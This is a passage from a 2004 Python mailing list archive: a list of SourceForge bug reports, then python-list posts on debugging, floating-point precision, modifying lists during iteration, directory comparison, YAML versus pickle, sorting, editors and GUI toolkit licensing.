CLOSED http://python.org/sf/1026269  opened by  Gerrit Holl

iso-latin-1 strings and functions lower & upper  (2004-09-11)
CLOSED http://python.org/sf/1026480  opened by  Tomasz Kowaltowski

HardwareRandom should be renamed OSRandom  (2004-09-13)
CLOSED http://python.org/sf/1027105  opened by  Trevor Perrin

unicode DNS names in socket, urllib, urlopen  (2004-09-13)
       http://python.org/sf/1027206  opened by  Damjan Georgievski

socket.ssl should explain that it is a 2/3 connection  (2004-09-13)
       http://python.org/sf/1027394  opened by  adam goucher

Argument missing from calltip for new-style class init  (2004-09-13)
       http://python.org/sf/1027566  opened by  Loren Guthrie

os.stat errors when using shared drive on XP or NT  (2004-09-13)
       http://python.org/sf/1027570  opened by  zeke

In DOM Node Objects, add more explanations for insertBefore  (2004-09-14)
       http://python.org/sf/1027771  opened by  M.-A. DARCHE

Cookies without values are silently ignored (by design?)  (2004-09-14)
       http://python.org/sf/1028088  opened by  Doug Sheppard

date-datetime comparison  (2004-09-14)
CLOSED http://python.org/sf/1028306  opened by  Donnal Walter

get_installer_filename   (2004-09-15)
       http://python.org/sf/1028334  opened by  bingo

Python 2.3.4 broken?  (2004-09-15)
CLOSED http://python.org/sf/1028447  opened by  Stan

Problem linking on windows using mingw32 and C++  (2004-09-15)
       http://python.org/sf/1028697  opened by  Steve Menard

No command line args when script run without python.exe  (2004-09-16)
       http://python.org/sf/1029047  opened by  Kerim Borchaev

PEP 302 loader not carried through by reload function  (2004-09-16)
       http://python.org/sf/1029475  opened by  Stephen Haberman

test_pep277 fails  (2004-09-17)
       http://python.org/sf/1029561  opened by  Marel Baczynski

Bugs Closed
___________

Crash from Rapid Clicks  (2004-07-14)
       http://python.org/sf/990911  closed by  kbk

a wrong link from "frame object" in lib index  (2004-09-01)
       http://python.org/sf/1020540  closed by  rhettinger

httplib.HTTPConnection sends extra blank line  (2004-08-31)
       http://python.org/sf/1019956  closed by  jhylton

re.sub: two-digit group-reference hangs  (2004-08-30)
       http://python.org/sf/1018815  closed by  niemeyer

re.finditer hangs on final empty match  (2003-10-03)
       http://python.org/sf/817234  closed by  niemeyer

Make Problem on HPUX  (2004-07-14)
       http://python.org/sf/991125  closed by  plusk

Import random fails   (2004-09-03)
       http://python.org/sf/1021890  closed by  rhettinger

Regular expression failure of the sre engine  (2003-07-23)
       http://python.org/sf/776311  closed by  niemeyer

wrong options are set to python.exe  (2004-09-03)
       http://python.org/sf/1022010  closed by  loewis

wrong options are set to python.exe  (2004-09-03)
       http://python.org/sf/1022010  closed by  loewis

re.match(), re.MULTILINE and "^" broken  (2004-09-03)
       http://python.org/sf/1022030  closed by  effbot

Bad examples of gettext.translation  (2004-09-04)
       http://python.org/sf/1022152  closed by  jlgijsbers

Solaris: reentrancy issues  (2004-08-29)
       http://python.org/sf/1018492  closed by  loewis

including Python.h redefines _POSIX_C_SOURCE  (2004-08-27)
       http://python.org/sf/1017450  closed by  loewis

inspect.getmodule symlink-related failur  (2002-06-18)
       http://python.org/sf/570300  closed by  jlgijsbers

__metaclass__ in locals is ignored  (2004-08-30)
       http://python.org/sf/1019048  closed by  bcannon

split method documentation can be improved  (2004-02-21)
       http://python.org/sf/901654  closed by  rhettinger

random.shuffle should restrict the type of its argument   (2004-09-05)
       http://python.org/sf/1022880  closed by  rhettinger

Generator exps fail with large value of range  (2004-09-06)
       http://python.org/sf/1022912  closed by  rhettinger

make test fails on HP-UX11i  (2004-09-06)
       http://python.org/sf/1022951  closed by  rhettinger

binascii.a2b_hqx("") raises SystemError  (2004-09-06)
       http://python.org/sf/1022953  closed by  rhettinger

mimetypes add_type has bogus self parameter  (2004-08-23)
       http://python.org/sf/1014022  closed by  doerwalter

Example does not match diagram.  (2004-09-06)
       http://python.org/sf/1023359  closed by  akuchling

"rich comparison'' methods hide stack overflow  (2004-08-30)
       http://python.org/sf/1019129  closed by  rhettinger

script which sets random.seed still returns random value  (2004-09-07)
       http://python.org/sf/1023453  closed by  rhettinger

test__locale fails  (2004-09-07)
       http://python.org/sf/1023798  closed by  bcannon

WinCVS doesn't recognize 2.4a3  (2004-09-08)
       http://python.org/sf/1024427  closed by  loewis

os.system segmentation fault   (2004-08-25)
       http://python.org/sf/1015937  closed by  nnorwitz

struct.calcsize() behaves strangely with short type  (2004-09-08)
       http://python.org/sf/1024669  closed by  mwh

RE engine internal error with LARGE RE: scalability bug  (2003-12-10)
       http://python.org/sf/857676  closed by  effbot

"build" target doesn't check umask  (2004-06-22)
       http://python.org/sf/977937  closed by  melicertes

tkinter.py invalid number of parameter for _tkinet.create  (2004-09-10)
       http://python.org/sf/1025599  closed by  loewis

X to the power of 0 may give wrong answer  (2004-09-10)
       http://python.org/sf/1025872  closed by  tim_one

Unspecific errors with metaclass  (2004-08-23)
       http://python.org/sf/1014215  closed by  rhettinger

"ASCII" in doc section "String literals"  (2004-09-10)
       http://python.org/sf/1026038  closed by  loewis

Confusing error message when subclassing from invalid base  (2004-09-11)
       http://python.org/sf/1026269  closed by  mwh

iso-latin-1 strings and functions lower & upper  (2004-09-11)
       http://python.org/sf/1026480  closed by  kowaltowski

crash error in glob.glob; directories with brackets  (2003-05-15)
       http://python.org/sf/738361  closed by  progoth

HardwareRandom should be renamed OSRandom  (2004-09-13)
       http://python.org/sf/1027105  closed by  rhettinger

date-datetime comparison  (2004-09-14)
       http://python.org/sf/1028306  closed by  tim_one

Python 2.3.4 broken?  (2004-09-15)
       http://python.org/sf/1028447  closed by  mwh

New / Reopened RFE
__________________

proposed struct module format code addition  (2004-09-06)
       http://python.org/sf/1023290  opened by  Josiah Carlson

urllib2 http auth  (2004-09-10)
       http://python.org/sf/1025540  opened by  Tim Nelson



From theller at python.net  Wed Sep 29 15:49:21 2004
From: theller at python.net (Thomas Heller)
Date: Wed, 29 Sep 2004 21:49:21 +0200
Subject: interactive help on string functions - howto
References: <415aede9$0$24598$ba620e4c@news.skynet.be>
Message-ID: <acv8luta.fsf@python.net>

Helmut Jarausch <jarausch at skynet.be> writes:

> Hi,
>
> entering
> help('rstrip')
> or
> help('ljust')
>
> into IDLE's shell window I only get
> no Python documentation found ...
>
> Am I missing something?

If you install the Python HTML pages in the correct place, it will
indeed work this way.

Or you press F1, and enter rstrip in the CHM search box (on Windows).

Thomas


From hyeshik at gmail.com  Thu Sep 30 03:10:40 2004
From: hyeshik at gmail.com (hyeshik at gmail.com)
Date: Thu, 30 Sep 2004 16:10:40 +0900
Subject: utf-8 in interactive python session
In-Reply-To: <a59726a4.0409292236.53c1f536@posting.google.com>
References: <a59726a4.0409292236.53c1f536@posting.google.com>
Message-ID: <4f0b69dc040930001020af019c@mail.gmail.com>

The problem is fixed in Python 2.4a2 and its later versions.
Please try one of them. :)

Hye-Shik

On 29 Sep 2004 23:36:48 -0700, Luke <luke at deller.id.au> wrote:
> Python doesn't seem to read UTF-8 properly from an interactive
> session.  Am I doing something wrong?
> 
> luked at sor ~ $ echo $LANG
> en_AU.UTF-8
> luked at sor ~ $ python
> Python 2.3.4 (#1, Aug 12 2004, 17:23:54)
> [GCC 3.4.1  (Gentoo Linux 3.4.1, ssp-3.4-2, pie-8.7.6.3)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> import sys
> >>> print sys.getdefaultencoding()
> utf-8
> >>> u'&#960;'  # embedded greek letter 'pi' (possibly mangled by
> google groups news client), should return u'\u03c0'
> u'\xcf\x80'
> >>> u'\u03c0'.encode()
> '\xcf\x80'
> >>>


From hyperbob at walla.com  Fri Sep 10 13:37:10 2004
From: hyperbob at walla.com (hyperbob)
Date: 10 Sep 2004 10:37:10 -0700
Subject: shutdown in windows
Message-ID: <c0c6c733.0409100937.1d313b1d@posting.google.com>

Hello,

1. Does anyone know how do I know when windows tries to kill my
process and what I can do to reduce the damage it will cause? Do I
have some time gap to finish the process cleanly? I understood it's
somehow related to catching the WM_CLOSE message from windows but I
couldn't find an explanation of a mechanism that allows me to do so.
My process is a background process with no gui or console window, but
I would also like to be able to do so in a console application.

2. Are there any useful general traditional techniques for making a
process be able to deal with an unclean termination, or is it
completely different for each case?

Thanks,
Bob


From kahanpaa at sky1.astro.helsinki.fi  Tue Sep 21 16:34:03 2004
From: kahanpaa at sky1.astro.helsinki.fi (Jere Kahanpaa)
Date: 21 Sep 2004 20:34:03 GMT
Subject: New to Python
References: <a1ff320f.0409211158.29e6256b@posting.google.com>
	<ciq1kk$1jf$05$2@news.t-online.com>
	<YU%3d.179$Xy5.164@fe61.usenetserver.com>
Message-ID: <ciq37r$95m$1@oravannahka.helsinki.fi>

Jimmie Webb <webbsoft2 at alltel.net> wrote:
> I tried x = float(nCost) but keep getting an error
> ValueError: Invalid literal for float(): EATE TA

Come on, do some basic debugging! Insert 'print repr(nCost)' before the 
conversation and look at what you really are feeding to the float() 
function. Well, we already now it: at some point you feed the string 'EATE 
TA' to float(), and it obviously cannot convert this to a number. 

Jere
-- 
Lord, make my words as sweet as honey, for one day I may have to eat them
                                                           - Daryl Benson


From peter at engcorp.com  Sun Sep 26 21:36:18 2004
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 26 Sep 2004 21:36:18 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
In-Reply-To: <mfydnUd5Idex1srcRVn-pQ@rogers.com>
References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
	<mfydnUd5Idex1srcRVn-pQ@rogers.com>
Message-ID: <tpudnXILROwO88rcRVn-sw@powergate.ca>

Dan Perl wrote:
> I debugged one of my 
> scripts (that I knew it works) and got an unexplainable exception.  It turns 
> out that Wing IDE falsely detects some exceptions.  They know about it and 
> they suggest that if you KNOW that it's a false exception you should flag it 
> to be ignored.  Yes, Wingware people, I know it's a false exception, but 

What exactly is a "false exception"?  I have never heard of such
a thing, and can't imagine what it might be.  Python raises
exceptions, they are subclasses of Exception or (old-style)
strings, they have tracebacks, they come from a variety of
sources, there's lots of things to know about exceptions but
"falseness" is not something about which I'm aware...

-Peter


From Cameron at Phaseit.net  Sat Sep 25 11:31:06 2004
From: Cameron at Phaseit.net (Cameron Laird)
Date: Sat, 25 Sep 2004 15:31:06 +0000
Subject: Divisions of labor
In-Reply-To: <4151C3A9.6050505@bellsouth.net>
References: <mailman.3639.1095771048.5135.python-list@python.org>
	<1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com>
	<4tg822-bmd.ln1@lairds.us>
	<1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com>
	<tkl822-p6i.ln1@lairds.us> <4151C3A9.6050505@bellsouth.net>
Message-ID: <20040925153106.GA3165@lairds.us>

On Wed, Sep 22, 2004 at 02:25:45PM -0400, Jeremy Jones wrote:
			.
			.
			.
> I hope that my following comments don't sound presumptuous or 
> antagonistic.  This topic really interests me and I'd like to raise a 
> couple of questions about the above discussion for my own sake.  Let me 
> assert up front  that I am _far_ from a debugger guru.  I'm just 
> starting to tinker around with it lately.  My previous debugging 
> techniques centered around a bunch of "print" statements or log entries, 
> etc - but, I must say, they were fairly effective.
> 
> Is it possible that this is a case of "what you don't know, you don't 
> know that you don't know"?  Meaning, if you aren't (in this case) a 
> debugger guru, you don't know how much (more) you would use the debugger 
> for non-catastrophic bugs and how much more productive it would make you 
> (again, for non-catastrophic bugs, or things that aren't even bugs)?    
> All of programming isn't debugging, so becoming a master of the debugger 
> to the detriment of some other aspect of programming (which Alex could 
> fill in here with much more finesse than I could) is, in my opinion, a 
> mistake.  But I just wonder how much I'm missing by not being as 
> proficient with the debugger.  I guess the same could be said regarding 
> other tools - maybe even <duck> IDEs <run>.
> 
> Another question that I'd like to raise is, does a one week investment 
> in time necessarily add up to one week in time?  Meaning, if you 
> determine that you would like to become more adept at the debugger and 
> decide that you're going to spend your spare moments with it when things 
> are slow and there is little/nothing to do anyway, do you really have 
> anything invested in it compared to your productive activities?  
> Especially if the spare moments (which would have been spent surfing 
> Slashdot) result in an improvement of productivity immediately.  I'm not 
> asserting that this is the case - just raising the question.
> 
> Anyway, hope I don't sound like a butt on this.  Both of my questions 
> are, interestingly, non-quantifiable.  I guess I can empathize with 
> Cameron's statement:
> 
> I have an intense interest in this narrative, and little
> ability yet to articulate why.
> 
> I dunno.  Maybe it's because I just started fumbling around with pdb and 
> this topic just struck a chord within me.  Maybe it's because I've got a 
> personality flaw where I'm willing to "waste" spare time on learning 
> things that I feel _may_ (not _will_ - _may_) help me think in different 
> ways.  Currently, I'm on a kick of wanting to "get" functional 
> programming.  I don't know why, but I just feel like when I "get" it, 
> it'll help me think about other things in different and better ways.  
> Maybe that's just Eric S. Raymond's comments on Lisp floating around in 
> my head - or maybe David Mertz's articles on functional programming.
> 
> Jeremy Jones

My newsfeed appears erratic; delays in my replies are not editorial comments.

Mr. Jones, I'm unoffended.  I once *was* a debugger guru (expert in several
debuggers, in fact); those are skills I've chosen to let lapse.  Nowadays, I
feel more benefit in thinking about, for example, monads and categories.

I don't know what else to say.  I am ever on the lookout for advantages a
clever debugger will give me.  It's simply been years since I've noticed any.


From my.spamtrap at verizon.net  Thu Sep  2 22:57:22 2004
From: my.spamtrap at verizon.net (Roland Hutchinson)
Date: Thu, 02 Sep 2004 22:57:22 -0400
Subject: Xah Lee's Unixism
References: <41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<slrncjf52a.oa.amajorel@vulcain.knox.com>
	<opsdp09czgpqzri1@mjolner.upc.no>
	<h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com>
	<opsdp4cjnapqzri1@mjolner.upc.no>
Message-ID: <2pq4sjFocngsU1@uni-berlin.de>

In article <opsdp4cjnapqzri1 at mjolner.upc.no> on Thursday 02 September 2004
19:46, John Thingstad wrote:

> oops. No Pauling was a nobel prize winning chemist.

And a nobel prize winning peace activist.

-- 
Roland Hutchinson              Will play viola da gamba for food.

NB mail to my.spamtrap [at] verizon.net is heavily filtered to
remove spam.  If your message looks like spam I may not see it.


From brian at rk-speed-rugby.dk  Tue Sep 28 04:28:57 2004
From: brian at rk-speed-rugby.dk (Brian Elmegaard)
Date: 28 Sep 2004 10:28:57 +0200
Subject: pyswf
References: <mailman.3934.1096208459.5135.python-list@python.org>
Message-ID: <uacva94qe.fsf@rk-speed-rugby.dk>

Ksenia Marasanova <ksenia at ksenia.nl> writes:

> library, with recently added Python interface (pyswf). This page
> http://www.quiss.org/swftools/examples.html contains view examples of
> pyswf usage.

Looks very interesting. Thanks for the pointer.

-- 
Brian (remove the sport for mail)
http://www.et.dtu.dk/staff/be


From Scott.Daniels at Acm.Org  Wed Sep 22 17:51:58 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Wed, 22 Sep 2004 14:51:58 -0700
Subject: detecting variable types
In-Reply-To: <y%l4d.470$zG1.387@newsread3.news.pas.earthlink.net>
References: <cisjhb$6kr$1@news-int.gatech.edu>
	<y%l4d.470$zG1.387@newsread3.news.pas.earthlink.net>
Message-ID: <4151f867$1@nntp0.pdx.net>

Byron wrote:
> Hi Jay,
> 
> You can detect the type of a variable by using the "types" module that 
> comes with Python.  Here is how to use it:
> 
> 
>     >>> import types
>     >>> name = "Steven"
>     >>> if type(name) is types.StringType:
>             print "Yes, name is a string."
> 
> 
> Hope this helps,
> 
> Byron
> ---
> 
> 
> Jay wrote:
> 
>> I'm sure this is a really dumb question, but how do you detect a variable
>> type in Python?
>>
>> For example, I want to know if the variable "a" is a list of strings or a
>> single string. How do I do this?
>>
>>

If you must switch on the type, use something like:

     ...
     if isinstance(vbl, (string, unicode)):
         vbl = [vbl]
     for element in vbl:
         ...

There are many more kinds of iterables than kinds of strings,
and you'll get fewer surprises with the above.

-Scott David Daniels
Scott.Daniels at Acm.Org


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Fri Sep 24 16:20:13 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Fri, 24 Sep 2004 21:20:13 +0100
Subject: Why not FP for Money?
In-Reply-To: <7xzn3fo4iu.fsf@ruckus.brouhaha.com>
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ705$4kl$1@panix1.panix.com>
	<mailman.3809.1095967700.5135.python-list@python.org>
	<1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com>
	<7xk6ukw149.fsf@ruckus.brouhaha.com>
	<1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com>
	<7xpt4c3v3w.fsf@ruckus.brouhaha.com>
	<ad052e5c.0409240925.50e21e44@posting.google.com>
	<7xzn3fo4iu.fsf@ruckus.brouhaha.com>
Message-ID: <cj1vi0$chp$1@pegasus.csx.cam.ac.uk>

Paul Rubin wrote:
> danb_83 at yahoo.com (Dan Bishop) writes:
> 
>>str(x), however, is meant to return a "nice" string representation,
>>and so it only uses '%.12g' % x (ignoring 5 "noise" digits at the end
>>of repr(x)).
> 
> Thanks.  I didn't realize that 'nice' means 'inaccurate':

No, in this case, "nice" means "less precise." You frequently cannot get 
the kind of accuracy in floating point numbers that you seem to want.

>     >>> a=1e12+1
>     >>> b=a-1e12
>     >>> b
>     1.0
>     >>> str(a)
>     '1e+12'
>     >>> float(str(a))-1e12
>     0.0

If you had chosen different values, you would have gotten differing 
results even without a str/float conversion:

 >>> a=1e11+0.1
 >>> b=a-1e11
 >>> b
0.100006103515625
 >>> str(a)
'100000000000.0'
 >>> float(str(a))-0.1
99999999999.899994
 >>> 0.1
0.10000000000000001

Fun!
--
Michael Hoffman


From peter at engcorp.com  Wed Sep  1 08:34:58 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Sep 2004 08:34:58 -0400
Subject: Instruction at "0x00FC3D70" use memory address "0x00000000".
 Can't be "read".
In-Reply-To: <Xns95575468C136EaskariaddressNonVali@207.35.177.135>
References: <Xns95575468C136EaskariaddressNonVali@207.35.177.135>
Message-ID: <KaCdnQsNs7tuXKjcRVn-vA@powergate.ca>

Askari wrote:

> Yesterday, ALL code in python work and nothing when I close(finish) a code.
> Today, when I close, some raise this windows error :
> 
> Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be 
> "read".
> Click on "OK" to exit program.
> 
> Why this error, today and not before today?

Does it do this after you reboot the computer?  (You're
using Windows, right?)

-Peter


From dperl at rogers.com  Wed Sep  8 13:29:16 2004
From: dperl at rogers.com (Dan Perl)
Date: Wed, 08 Sep 2004 17:29:16 GMT
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<mailman.3029.1094638477.5135.python-list@python.org>
	<9YvPBls/KvrF089yn@the-wire.com>
	<0oF%c.270317$UTP.260161@twister01.bloor.is.net.cable.rogers.com>
	<chnb4k$3qn$05$1@news.t-online.com>
Message-ID: <MjH%c.464$hax.309@news04.bloor.is.net.cable.rogers.com>

Sorry, I missed that.  And yes, that should be the problem.  It's *A*
problem, for sure.  Always a bad idea to modify the structure of a list
(deleting or inserting items) while iterating through it, but it's so easy
to forget that.  Creating another list from the first one by filtering or
with a list comprehension should be the preferred solution, unless the
intention is to have this list used in more than one place and have the
changes reflected in all those places.

Dan

"Peter Otten" <__peter__ at web.de> wrote in message
news:chnb4k$3qn$05$1 at news.t-online.com...
> Dan Perl wrote:
>
> > But Stan says he tried something like that (see the comment in his code)
> > and
> > it was still not working.  I would still need a more complete code
example
> > to reproduce the problem and figure out what went wrong.
>
> The following example might make it clearer:
>
> >>> files = "a.dbf b.dbf x.txt".split()
> >>> for index, fn in enumerate(files):
> ...     print "checking", fn
> ...     if fn.endswith(".dbf"):
> ...             print "deleting", files[index]
> ...             del files[index]
> ...
> checking a.dbf
> deleting a.dbf
> checking x.txt
> >>>
>
> The iterator operating on the files list keeps track of its current
position
> in the list by a simple index and is unaware of any changes to that list.
> If you delete an item _before_ or equal to that index position it will
> still be incremented on the next pass of the for loop, and therefore you
> never see item[n] that has become item[n-1] effectively by deleting one of
> its predecessors.
> To avoid this kind of trouble, Mel iterates over the list in reverse
order -
> deleting items _after_ the current position cannot confuse the iteration.
>
> Peter
>




From robin.siebler at palmsource.com  Sat Sep 11 20:40:43 2004
From: robin.siebler at palmsource.com (Robin Siebler)
Date: 11 Sep 2004 17:40:43 -0700
Subject: Best way to compare the contents of two directories
Message-ID: <95c29a5e.0409111640.6980271f@posting.google.com>

I have two directory trees that I want to compare and I'm trying to
figure out what the best way of doing this would be.  I am using walk
to get a list of all of the files in each directory.

I am using this code to compare the file lists:

def compare_files(first_list, second_list, first_dir, second_dir):
        missing = in_first_only(first_list, second_list)
        for item in missing:
            index = first_list.index(item)
            print first_list[index] + ' does not exist in ' +
second_dir[index]
            first_list.pop(index); first_dir.pop(index)
        return first_list, second_list, first_dir, second_dir

However, before I actually compare the files, I want to compare the
directories and if a directory is mising in either set, I want to
report it:

dir_list_a = ['d:\\results\\foldera\\','d:\\results\\folderb\\','d:\\results\\folderc\\']
dir_list_b = ['c:\\results\\foldera\\','c:\\results\\folderb\\']

output:
   'folderc' exists in d:\results but not in c:\results


I am using splitall (from the Python Cookbook) to split the paths into
there parts and appending this to a list, but I can't figure out the
best way to compare the contents of the resulting 2 lists and I think
I am starting to make things *too* complicated:

def splitall(path):
    """
        Source: Python Cookbook
            Credit: Trent Mick

        Split a path into all of its parts.
    """
    allparts = []
    while 1:
        parts = os.path.split(path)
        if parts[0] == path:
            allparts.insert(0, parts[0])
            break
        elif parts[1] == path:
            allparts.insert(0, parts[1])
            break
        else:
            path = parts[0]
            allparts.insert(0, parts[1])
    return allparts

After using this, I end up with this:

dir_list_a = [['d:\\', 'results', 'foldera', 'd:\\', 'results',
'folderb', 'd:\\', 'results', 'folderc']]
dir_list_b = 
[['d:\\', 'results', 'foldera', 'd:\\', 'results', 'folderb']]


From aleaxit at yahoo.com  Wed Sep  1 05:15:30 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 11:15:30 +0200
Subject: about presicion
References: <mailman.2682.1093974364.5135.python-list@python.org>
Message-ID: <1gjfklx.1i0pmkjia472tN%aleaxit@yahoo.com>

Batista, Facundo <FBatista at uniFON.com.ar> wrote:

> [mensanator at aol.com]
> 
> #- What I meant was the OP can't compare Decimal and gmpy unless he has
> #- a version of gmpy that runs in 2.4. Or has a version of Decimal that
> #- runs in 2.3.
> 
> Decimal is designed to work in Py2.3 and it will be maintained that way.

I think that's an excellent policy -- Python 2.3 will no doubt remain
widely used for a long time to come.  I think it would be nice if
Decimal was packaged up with its own docs for easy download and install
into an existing 2.3 installation, then... make life as easy as possible
for 2.3 users who need to do some decimal arithmetic!


Alex


From adalke at mindspring.com  Sat Sep 18 01:02:17 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 18 Sep 2004 05:02:17 GMT
Subject: PyYaml?
In-Reply-To: <2IO2d.1086$HH5.1025@trndny05>
References: <2IO2d.1086$HH5.1025@trndny05>
Message-ID: <tjP2d.3590$gG4.3344@newsread1.news.pas.earthlink.net>

Chris S. wrote:
> Is there any benefit to Pickle over YAML? Given that Pickle is insecure, 
> wouldn't it make more sense to support a secure serialization format, 
> one that's even readable to boot, such as YAML? There's even a pure 
> Python implementation at www.pyyaml.org

Looking at the PyYaml docs, under "limitations"


] PyYaml converts Python builtin types bidirectionally, and converts
] instances unidirectionally (although with directives eg from_yaml
] and to_yaml it can do this bidirectionally). When YAMLizing an
] instance, PyYaml serializes only its instance data (its '.dict'),
] with no meta-information about which class it came from.

Add support for restoring an arbitrary class and you end
up with exactly the same security problems pickle has.

Also, I'll guess that it doesn't handle Python's new __slots__
since it only mentions __dict__.


				Andrew
				dalke at dalkescientific.com


From peter at engcorp.com  Sun Sep 26 15:14:49 2004
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 26 Sep 2004 15:14:49 -0400
Subject: regular expression for integer and decimal numbers
In-Reply-To: <f23116.0409260913.7e36e5f7@posting.google.com>
References: <f23116.0409231651.7aeb19c0@posting.google.com>
	<pbadnZrDHOinY87cRVn-jg@powergate.ca>
	<f23116.0409251213.6fcee6c5@posting.google.com>
	<jfudnfjxPYD6vMvcRVn-uw@powergate.ca>
	<f23116.0409260913.7e36e5f7@posting.google.com>
Message-ID: <FfydnQc4fL23iMrcRVn-og@powergate.ca>

gary wrote:
> Peter Hansen <peter at engcorp.com> wrote in message news:<jfudnfjxPYD6vMvcRVn-uw at powergate.ca>...
> 
>>Good example of the input.  Now all you need to do is tell
>>us exactly what kind of output you would expect to come
>>from the routine which you seek. ;-)
> 
> Well for that particular example something of the form...
> 
> Cleveland at Cincinnati +8
> 
> would be nice ;-)

I know nothing about American football except that it
isn't played with a puck, so I don't think I get the joke...

-Peter


From adalke at mindspring.com  Tue Sep 21 17:29:42 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 21 Sep 2004 21:29:42 GMT
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <mailman.3683.1095800082.5135.python-list@python.org>
References: <864d370904092109509df67ee@mail.gmail.com>	<loom.20040921T192348-961@post.gmane.org>	<20040921173455.GB2891@unununium.org>	<loom.20040921T193847-890@post.gmane.org>	<mailman.3666.1095791375.5135.python-list@python.org>	<XO%3d.1684$g42.1293@newsread3.news.pas.earthlink.net>
	<mailman.3683.1095800082.5135.python-list@python.org>
Message-ID: <a314d.1745$g42.320@newsread3.news.pas.earthlink.net>

Carlos Ribeiro wrote:
> Given all the arguments, I'm changing my approach to the sorting
> problem. My proposal is that sortable objects should provide a __key__
> method. 

class Filename:
   def __init__(self, filename):
     self.filename = filename
   def __cmp__(self, other):
     x = cmp(os.path.getsize(self.filename),
             os.path.getsize(other.filename))
     if x != 0:
       return x
     my_file = open(self.filename, "rb")
     other_file = open(other.filename, "rb")
     while 1:
       my_read = xfile.read(8192)
       other_read = yfile.read(8192)
       x = cmp(my_read, other_read)
       if x != 0:
         return x
       if not other_read:
         return 1
       if not my_read:
         return -1

filenames = map(Filename,
                 ["/etc/passwd", "/home/dalke/file.txt", ...])
filenames.sort()
sorted_filenames = [x.filename for x in filenames]

How would I do that with a __key__?  The only
solution would be to read the contents of all the
files into memory.

				Andrew
				dalke at dalkescientific.com



From jepler at unpythonic.net  Tue Sep 21 09:23:54 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 21 Sep 2004 08:23:54 -0500
Subject: python ides
In-Reply-To: <cip735$e01$1@sea.gmane.org>
References: <cip735$e01$1@sea.gmane.org>
Message-ID: <20040921132353.GE4934@unpythonic.net>

That's all very nice, but is it keystroke compatible with vim (including
the obscure stuff)?  Will it run in a terminal?  Does it meet the DFSG,
or any other important definition of "free software" or "open source
software"?  How are the memory footprint and startup time?  Emacs users
may raise many of the same objections.

I'm sure there are lots of things you really love in this IDE, and maybe
things I would not mind having in my current editor, but quite frankly
all these stupid closed-source GUI programs which force me to re-learn
the task of editing files don't interest me one bit.

I'm very happy that others have access to their "IDE"s, and I try to
keep silent when IDE debates rage.  So please stop suggesting that vi
and emacs users should change and just let me keep writing programs the
way I have for the last 10 years, because I'm quite happy with it.

Jeff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040921/a6b9c3f4/attachment.sig>

From godoy at ieee.org  Fri Sep 17 10:37:54 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Fri, 17 Sep 2004 11:37:54 -0300
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<m37jqvvypt.fsf@g2ctech.com>
	<1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com>
	<m3ekl1398l.fsf@g2ctech.com>
	<1gk91v9.1k6244t1tmaymsN%aleaxit@yahoo.com>
Message-ID: <m3oek5yn99.fsf@g2ctech.com>

aleaxit at yahoo.com (Alex Martelli) writes:

> You like it and use it when you write software yourself, yet you
> expressed the desire that Qt didn't, so you could use it when you write
> software that's not free.  "Do unto others as you would have others do
> unto you" seems a fundamental, reasonable principle of fairness: aren't
> you violating it here, by using a license you wish others didn't use?

I don't see where, since all I said was that I wantd to *pay* less.  I
want it free when I write free software (in both senses of free here,
either alone or combined).  I already have saved a lot of money by using
free languages/compilers to write commercial software but if they costed
a fair amount, then I'd pay for it.  I don't think that 3 months os a
worker's salary is fair for any software.

Here, market segmentation would be useful :-)  (/me runs!)


Be seeing you,
-- 
Godoy.     <godoy at ieee.org>


From f.geiger at vol.at  Thu Sep 30 01:57:39 2004
From: f.geiger at vol.at (F. GEIGER)
Date: Thu, 30 Sep 2004 07:57:39 +0200
Subject: Calling (C)Python code from Java: Is it JPype?
References: <cjeem1$5h9$1@newshispeed.ch>
	<1DI6d.223$j5.307837@weber.videotron.net>
